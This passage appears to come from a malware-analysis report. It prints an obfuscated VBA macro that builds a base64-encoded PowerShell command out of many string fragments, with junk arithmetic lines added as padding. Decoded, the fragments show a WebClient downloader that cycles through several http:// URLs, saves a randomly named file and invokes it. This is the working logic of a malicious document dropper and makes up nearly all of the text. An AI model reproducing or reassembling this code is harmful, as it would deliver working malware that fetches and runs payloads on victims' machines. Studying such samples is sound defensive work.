ZjLLWD = "cAByACcALAA" + "nADMAM" + "wApACcALAAnAE" + "oALwBAAGgAdAB0A" + "HAAJw" + "AsACcALwBAAGgAd" + "AAnACwAJw" + "A3AEoA" + "KwBHADc" + "ASgB0AEc"
NTLwJ = SWWjBa - Cos(LwmHjI) * 1 - Chr(58691) / 57316 - ChrB(qDmjN)
iTWQQ = 19301
FjNXsMvW = "ANwAnA" + "CwAJwBRAEQAbwB" + "2AHoAZwBXAG4AJ" + "wAsACcASgAuACc" + "ALAAnAG" + "gAewB9ACc" + "ALAAnAEoA"
isSZCl = UHvmIt - Cos(tZEaz) * 1 - Chr(57330) / 92098 - ChrB(HKcdDs)
KkKcQ = 38142
ptHJf = "KQAgACc" + "ALAAnA" + "DcASgAtAG" + "8AYgBqAG" + "UAYwB0AEcAN" + "wAnACwAJwB4AHQ"
ItBRskvULqu = SjVuH + jmzqaohFc + VwsSmibAB + QqdWjZJkI + vtVjdlRHu + rDIZjAc + ZjLLWD + FjNXsMvW + ptHJf
End Function
Function QjAHmSzhT()
On Error Resume Next
oKFsfz = IAYTIk - Cos(RqSjzB) * 1 - Chr(69957) / 15615 - ChrB(ZiGRzK)
fdmwku = 39585
Ohjvdnd = "AKAAxADAAMAAwAD" + "AALAAnACw" + "AJwA6AH" + "AAdQBiAG" + "wAaQBjACAAKwAg" + "AEcANwBKAD"
wwtzK = JuHIt - Cos(swQRJj) * 1 - Chr(27746) / 61709 - ChrB(ZjlwY)
qWlJXW = 25761
odMjiY = "AARABQAE" + "cAJwAsACc" + "AOwBSADIANwBB" + "AEQAQwB" + "YACAAP" + "QAgACcALAAnAD" + "cASgAr" + "AEcANwBKAGsARw"
AIlwrQ = wIEQjj - Cos(UoDfo) * 1 - Chr(89010) / 48192 - ChrB(IBmMS)
VwVXi = 27722
jqmqK = "AnACwAJw" + "BoAHQAdABw" + "ADoALwAvAH" + "IAJwAsAC" + "cASgAnACw" + "AJwBSAC" + "cALAAnAEo" + "AIAArACAA"
JYiWP = bXhho - Cos(dCwGr) * 1 - Chr(64610) / 36751 - ChrB(izjLf)
PcJisE = 40814
NpYbaE = "UgAyAC" + "cALAAn" + "AEcANwBKAA0ACgB" + "oACcALAAnADs" + "AJgAoAEcANwBKA" + "EkAbgB2AG8"
KQUIYX = vbTzDo - Cos(ZsiqL) * 1 - Chr(10928) / 65144 - ChrB(pWrSH)
Nwpjnh = 84282
GwiVBzB = "ARwAn" + "ACwAJwBtAC8ANQ" + "BEAEYAVwAn" + "ACwAJwAvA"
liIwKn = QObIu - Cos(QECsP) * 1 - Chr(28257) / 1269 - ChrB(zRGPzh)
iNQHds = 14499
amVJnJSlZ = "C8ANAByAGUAbgBl" + "AGUALgB" + "jAG8AJwAsACcA" + "IABSADIANwB" + "BACcALAAnADIAN" + "wBTAEQAQwApA" + "CcALAAnAHkA"
hPuulY = QJNvw - Cos(mrXSrF) * 1 - Chr(75855) / 33044 - ChrB(jLFvl)
LBQLJ = 16127
bKZQqqlO = "LgBjAG8AbQAv" + "AGIAcgBpAGQAYQB" + "sAC8ATwA1ADkAUQ" + "AnACwAJw" + "BuACcALAAnAH" + "QAdABwADoAJwA" + "sACcA"
cUTOC = BzCEki - Cos(WsommU) * 1 - Chr(58945) / 60182 - ChrB(jpqnIE)
wknlS = 27072
LRhzjiql = "aAAnA" + "CwAJwAoAEc" + "ANwBK" + "AG4ARwA3ACcAL" + "AAnACkAJwAsA" + "CcAfQ" + "AnACwAJwA4ADIAM"
wcDwQ = iHUMu - Cos(SMiYpd) * 1 - Chr(79631) / 88080 - ChrB(iYOhwp)
UzwZI = 78984
sbsflRHScc = "QAnACwAJw" + "AyADcAZQB" + "uACcALAAnAH" + "AAcgBvAG" + "QAJwA" + "sACcAZgBv"
QjAHmSzhT = Ohjvdnd + odMjiY + jqmqK + NpYbaE + GwiVBzB + amVJnJSlZ + bKZQqqlO + LRhzjiql + sbsflRHScc
End Function
Function hWTvlJKk()
On Error Resume Next
KiVOaE = Visimv - Cos(LwIcU) * 1 - Chr(35204) / 39280 - ChrB(oQTPZ)
WPVUdW = 39179
KsGMlG = "AHIAZQB" + "hAGMAJwAsAC" + "cANwBiADkAVQB" + "rACcALAAn"
TPOpIJ = VCKunI - Cos(owoWVG) * 1 - Chr(88093) / 9574 - ChrB(LfpwOX)
IZzVi = 86618
amSwXLF = "AC4AVwBlAGIAQwB" + "sAGkAZQBuAHQA" + "JwAsACcAKABS" + "ACcALAAnAGUARw" + "A3AEoAKQA7ACcA" + "LAAnA" + "DcASgBAAEcANw" + "BKACcALAAnAC"
fJLJS = JVliX - Cos(YjGAOw) * 1 - Chr(27576) / 38923 - ChrB(JTKfw)
BUpnUv = 65886
jAikL = "AAMgAnACwAJwBy" + "AHYAegBnAGkAd" + "gB6AGcATgBnA" + "CcALAAnA" + "CkAOwBiAHI" + "AZQAn"
NKwaq = qtKbnz - Cos(BZjZQY) * 1 - Chr(20575) / 41049 - ChrB(AdUVHA)
rCfqWt = 80240
hajBliRiniF = "ACwAJwA3A" + "CcALAAnAH" + "IAYQBuAGQAbwBt" + "ADsAJwAsACc" + "AQwBYACkA" + "ewB0AHIAe" + "QB7AFIAM" + "gA3AFkA"
VXjNP = jswPA - Cos(GOEWXo) * 1 - Chr(44202) / 19917 - ChrB(GVdpz)
ZIIGH = 68015
kGHkBzNzFRr = "WQBVAC4AU" + "gB0ACcALAA" + "nAC8ALwBqAH" + "AAbwBsAC4AYwBv" + "AG0ALwB" + "2AGsAdw" + "BmAE0AJwAsACc"
DspzF = QlVGHF - Cos(dzISiW) * 1 - Chr(60329) / 97534 - ChrB(CFXRp)
kqIsM = 77464
bHviAN = "AZAAuAG" + "4AZQAnACw" + "AJwBKA" + "CsARwA" + "3AEoAZQBHAD" + "cASgArAEc" + "ANwBKAHcALQBvA" + "GIAag" + "BlAGMA" + "RwAnACw"
LhZip = hkOVkI - Cos(bApXkD) * 1 - Chr(36834) / 78259 - ChrB(janrFB)
zOsBSl = 52159
ZAnjpYaOku = "AJwA9ACAA" + "UgAyADcA" + "bgBzA" + "GEAJwAsACcAPQ"
AhlQin = mJzjkA - Cos(IIVVWz) * 1 - Chr(99022) / 90098 - ChrB(njERGr)
XpYwX = 6938
dacojjVS = "AgACYAJw" + "AsACcAM" + "gA3AG" + "EAcwBmAGMAIAAn" + "ACwAJwBEAC" + "cALAAnADsAUgAy" + "ADcAJwAsACc" + "AegBnAGwAZ" + "QBSAHQAUQAo"
CKBzn = rWRfMG - Cos(jwPdtF) * 1 - Chr(66021) / 95673 - ChrB(ZWduDc)
LDNEpS = 22453
HGfjXWwrTUh = "AFIAMg" + "A3AGEAcw" + "BmAGM" + "ALgAnACwAJwBj" + "AHQAaQBv"
zLQHR = ZEAGa - Cos(ZvDSVU) * 1 - Chr(34161) / 70121 - ChrB(WtaOcF)
zBvNlv = 61768
XZiCGDo = "ACcALA" + "AnAGQARg" + "BJAHY" + "AJwAsACcANwBKA" + "CcALAAnAHM" + "ALgBjAG8AbQAvA" + "CcALAAnAGQAY" + "QBzACcALA"
hWTvlJKk = KsGMlG + amSwXLF + jAikL + hajBliRiniF + kGHkBzNzFRr + bHviAN + ZAnjpYaOku + dacojjVS + HGfjXWwrTUh + XZiCGDo
End Function
Function AdUFLjSvUOM()
On Error Resume Next
objUzR = ncBTQA - Cos(jVBbob) * 1 - Chr(35501) / 80498 - ChrB(oJwFwL)
piOVd = 88965
qqNvwvGvqO = "AnADsAUgAyA" + "DcATgB" + "TAEIAIAAnACwAJw" + "BSAHQAUQBUA" + "G8AUwB0ACc" + "ALAAnACk" + "AIABTAHkAcwB0"
wkNtFw = JpbES - Cos(MKGEPw) * 1 - Chr(66488) / 85258 - ChrB(BMibP)
pBiQp = 63411
qPDkLN = "AGUAbQAuA" + "E4AZQB0ACcALAAn" + "AC8AJ" + "wAsACcA" + "KABHADcAJ" + "wAsACc" + "AcwA6AC8"
qbiNr = fTXAfl - Cos(fXKFf) * 1 - Chr(22484) / 91853 - ChrB(jAOdiA)
owndt = 15190
RKSZYAS = "ALwBmAG8Ad" + "AAnACwAJwBSAHQA" + "UQAoACkALAAg" + "AFIAJwAsA"
fWCGD = rdLwp - Cos(hSqYl) * 1 - Chr(56554) / 71558 - ChrB(GaUjJ)
LibMCs = 85992
nhnMtHpwti = "CcAZQB" + "4AEcANwBKACs" + "ARwAnACwAJwBv" + "AGQAYwBhAHMAdAB" + "yAG8ALgBjAG8A" + "bQAvACcALA" + "AnADcASgAnAC"
roDYI = uFoPnS - Cos(BwXCA) * 1 - Chr(15076) / 79254 - ChrB(FCSzX)
MCwwz = 43604
XIFELccLiq = "wAJwApACgAU" + "gAyADcAUwBEAEMA" + "JwAsACcAbwBmAG" + "8AbABs" + "ACcALAAnAFY" + "AMABpAHUASgBHA" + "C8ARwA" + "3AEoAL"
aCVNU = YBlEw - Cos(MKjEKC) * 1 - Chr(71133) / 6745 - ChrB(mmkalj)
DpTqwz = 51466
dZXGc = "gBTAHAAbAAnACwA" + "JwBSADIANwBZ" + "AFkAVQAgAD0AIAA" + "uACgARwA3AEoAb" + "gBlAEcANwBKACsA" + "RwA3AEoA" + "dwBHADcA"
BofFQL = zWGKr - Cos(wotMTW) * 1 - Chr(76664) / 31096 - ChrB(mjWrzv)
FuPjkC = 42305
VcCCKcWOL = "SgArAEcAJwAsA" + "CcAMgA" + "3AG4Acw" + "BhAGQAYQ" + "BzAGQAIAAnACw" + "AJwBTAEQ"
fmnTo = UapAF - Cos(Zicam) * 1 - Chr(60940) / 32811 - ChrB(vjZNY)
RLvIv = 91150
WuRSvHuw = "AQwAgAD" + "0AIABSACcALAAn" + "ADcATgBTAEIAIA" + "ArACA" + "AJwAsA" + "CcAQAA"
WjjiU = WRJjqs - Cos(LbRpwF) * 1 - Chr(72216) / 37617 - ChrB(wNZucw)
ihFKj = 4999
LnpiQbmFKD = "nACwAJwB0AHAA" + "OgAnACwAJwBpAHQ" + "AKABHACcAKQ" + "ApACAAIAAtA" + "EMAUgBFAH" + "AATABhAGMA" + "ZQAgACAAJwB2AH" + "oAZwAnACwAWwBjA"
AdUFLjSvUOM = qqNvwvGvqO + qPDkLN + RKSZYAS + nhnMtHpwti + XIFELccLiq + dZXGc + VcCCKcWOL + WuRSvHuw + LnpiQbmFKD
End Function
Function CfDBBA()
On Error Resume Next
wrSEuk = CiViAp - Cos(GLqJwv) * 1 - Chr(68367) / 35332 - ChrB(ZzZJi)
liKJdV = 95470
rwjiHELV = "EgAYQByAF" + "0AOQA2ACAAIAAt" + "AEMAUgB" + "FAHAATABh" + "AGMAZQA" + "gACgA" + "WwBjAEgA" + "YQByAF" + "0AOAAyACsAWw" + "BjAEgAYQByA"
Arjpuf = QbHOY - Cos(OAkHO) * 1 - Chr(58336) / 66367 - ChrB(EUbHCz)
UrMYIj = 80180
MlqOU = "F0ANQ" + "AwACsAWwBjAEg" + "AYQBy" + "AF0ANQA1ACkALA" + "BbAGMASABhAHIAX" + "QAzADYALQBDA" + "FIARQBwAEwAYQ"
PFpnE = XSvFi - Cos(hZBPq) * 1 - Chr(29109) / 73996 - ChrB(WIirhQ)
kupQoZ = 64608
YNaXOslPtF = "BjAGUAKABb" + "AGMASABhAHIA" + "XQA4ADIAK" + "wBbAGMAS" + "ABhAHI" + "AXQAxADEANgArAF" + "sAYwBI" + "AGEAcgBdAD" + "gAMQApACwAWwB" + "jAEgAYQBy"
BZrdi = BfBYbF - Cos(pwitut) * 1 - Chr(92059) / 14338 - ChrB(zFoNm)
FppzA = 7230
qUUpIwIWb = "AF0AMw" + "A0ACAALQ" + "ByAEU" + "AcABMAGEAYw" + "BFACAAIAA" + "nAEcA" + "NwBKACcAL" + "ABbAGMASABhAHI" + "AXQAzADkAIAAtA" + "EMAUgBFAHAATAB"
CfDBBA = rwjiHELV + MlqOU + YNaXOslPtF + qUUpIwIWb
End Function
Function lMHquMnhC()
On Error Resume Next
qzlEO = cjTGK - Cos(vwHXu) * 1 - Chr(60401) / 72548 - ChrB(dcloU)
daMiiF = 83522
QbRqVp = "hAGMAZQAoAFsAY" + "wBIAG" + "EAcgBdADQAOAA" + "rAFsAYwBIAGEAcg" + "BdADY"
GiHqfa = rdwiMr - Cos(wSvRO) * 1 - Chr(80396) / 43566 - ChrB(NwjUr)
UkcEJ = 11946
zQVQVZLBz = "AOAArA" + "FsAYwBIA" + "GEAcgBdADgAMAAp" + "ACwAWwBj" + "AEgAY" + "QByAF0AOQAyACk"
YPDALi = wmKICD - Cos(tnMrBS) * 1 - Chr(86462) / 40199 - ChrB(HLidW)
WZDliZ = 5450
pKHCrCGY = "AIAB8" + "ACAAJgAgACgAIAA" + "kAHAAcwBoAE8A" + "bQBlAFsAMgAxAF" + "0AKwAkAHAAUwB" + "oAE8ATQBFA"
RDHkPb = aRnZaz - Cos(NHnwD) * 1 - Chr(8618) / 92656 - ChrB(cEPGQl)
RVCqv = 90409
wLEOqGnh = "FsAMwA0AF0AK" + "wAnAHgA" + "JwApAA=="
lMHquMnhC = QbRqVp + zQVQVZLBz + pKHCrCGY + wLEOqGnh
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.